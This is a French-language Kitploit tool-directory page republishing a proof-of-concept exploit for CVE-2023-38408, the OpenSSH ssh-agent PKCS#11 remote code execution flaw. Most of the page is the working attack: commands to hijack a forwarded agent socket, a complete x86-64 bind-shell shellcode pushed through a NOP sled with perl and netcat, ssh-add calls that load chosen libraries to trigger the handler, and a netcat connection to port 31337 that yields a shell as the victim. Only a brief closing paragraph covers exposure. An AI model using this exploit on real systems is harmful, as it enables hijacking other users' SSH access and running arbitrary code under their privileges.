Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/lucaspdiniz/cve-2023-38408
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

Prise de contrôle de compte OpenSSH

Voir le dépôt
4564il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

OpenSSH Vulnerability - CVE-2023-38408 📚

Introduction

Une vulnérabilité a été trouvée dans OpenSSH (avant la version 9.3p2). La fonctionnalité PKCS#11 de ssh-agent dans OpenSSH présente un chemin de recherche insuffisamment fiable, conduisant à une exécution de code à distance si un agent est transféré vers un système contrôlé par l'attaquant (le code dans /usr/lib n'est pas nécessairement sûr à charger dans ssh-agent). Cette faille permet à un attaquant qui contrôle la socket de l'agent transféré sur le serveur et qui peut écrire sur le système de fichiers de la machine cliente d'exécuter du code arbitraire avec les privilèges de l'utilisateur exécutant ssh-agent.

Dans l'exemple ci-dessous, nous pouvons brièvement observer les étapes allant de l'exploration à la compromission de l'utilisateur alice.

  • Étape 1 - L'utilisateur attaquant se connecte via SSH au serveur.
  • Étape 2 - L'utilisateur Alice est également connecté via SSH au serveur.
  • Étape 3 - L'attaquant crée un shellcode à envoyer via le processus ssh au serveur cible.
  • Étape 4 - Le shellcode envoyé par l'attaquant exploite la vulnérabilité PKCS#11 de ssh-agent et crée un nouveau processus détournant l'accès SSH de l'utilisateur Alice.
  • Étape 5 - Toujours via l'accès normal de l'attaquant, il est possible d'exécuter des commandes opérationnelles en tant qu'utilisateur Alice, en accédant à l'exploit créé dans le shellcode via nc localhost 31337.

Comment faire ? Créons le POC

Comme mentionné précédemment, dans ce POC nous utiliserons 2 utilisateurs connectés à un serveur via SSH. Pour suivre les étapes ci-dessous, nous supposons que les 2 utilisateurs ont déjà accès au serveur (SSH).

  1. Obtenez le PID de l'agent SSH exécuté sur la machine attaquante distante et exportez-le dans une variable d'environnement. Nous avons également ajouté via ssh-add le fichier linuxx64.elf.stub (stub de démarrage UEFI).
Télécharger l’outil
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. maintenant, pour copier le shellcode dans le processus via SSH, vous devez suivre ces étapes tout en restant sur la machine attaquante ;
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Enfin, appuyez sur Ctrl-C pour arrêter le transfert netcat une fois le shellcode correctement placé dans la mémoire de l'agent.

  1. Dans cette étape, nous allons téléverser 3 fichiers via ssh-add ; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 et libns3.35-wave.so.0.0.0. L'étape suivante du processus d'exploitation consiste à enregistrer le gestionnaire de signal pour le signal d'erreur de segmentation (SIGSEGV).

[!NOTE] Déclenchement de SIGSEGV 💬
SIGSEGV est un signal connu d'un processus informatique émis >lorsqu'une référence mémoire invalide (erreur de segmentation) se produit. Lors de la réception du signal SIGSEGV, le noyau reconnaît qu'un accès mémoire invalide s'est produit et procède à l'invocation du gestionnaire de signal personnalisé plutôt que de terminer brutalement le programme. Ce faisant, l'attaquant saisit l'opportunité de manipuler l'exécution du programme et de l'orienter vers le code malveillant injecté situé dans le NOP sled.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. À ce stade, nous avons déjà réussi à exploiter l'utilisateur Alice via l'accès SSH de l'attaquant au serveur, en exécutant la commande ci-dessous créée par le shellcode. 🔥
root@kitploit:~
nc localhost 31337

Est-ce que CVE-2023-38408 m'affecte ? ❓

La vulnérabilité affecte principalement les systèmes où l'agent SSH d'OpenSSH est utilisé et où la fonction de transfert de l'agent est activée. Les organisations et les particuliers qui dépendent d'OpenSSH doivent rapidement évaluer leurs configurations pour déterminer une exposition potentielle. Si votre système répond aux conditions mentionnées, il est crucial de prendre des mesures immédiates pour atténuer le risque associé à CVE-2023-38408.